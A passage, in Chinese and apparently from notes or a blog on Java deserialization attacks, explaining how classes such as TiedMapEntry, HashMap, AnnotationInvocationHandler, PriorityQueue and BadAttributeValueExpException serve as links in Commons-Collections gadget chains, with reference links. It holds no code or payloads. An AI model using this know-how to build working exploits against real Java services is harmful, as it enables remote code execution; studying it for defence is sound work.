2.TiedMapEntry:通过调用TiedMapEntry的getValue方法实现对他的成员变量map的get方法的调用,用来和lazyMap配合使用。
3.HashMap:通过调用HashMap的put方法实现对成员变量hashCode方法的调用,用来和TiedMapEntry配合使用(TiedMapEntry的hashCode函数会再去调自身的getValue)。
五大反序列化利用基类
1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。
2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的tranform方法,用来直接和Tranformer配合使用。
3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。
4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。
5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和lazyMap配合使用。
参考:
http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/
https://www.freebuf.com/articles/web/214096.html
https://badcode.cc/2018/03/15/Java反序列化之Commons-Collections/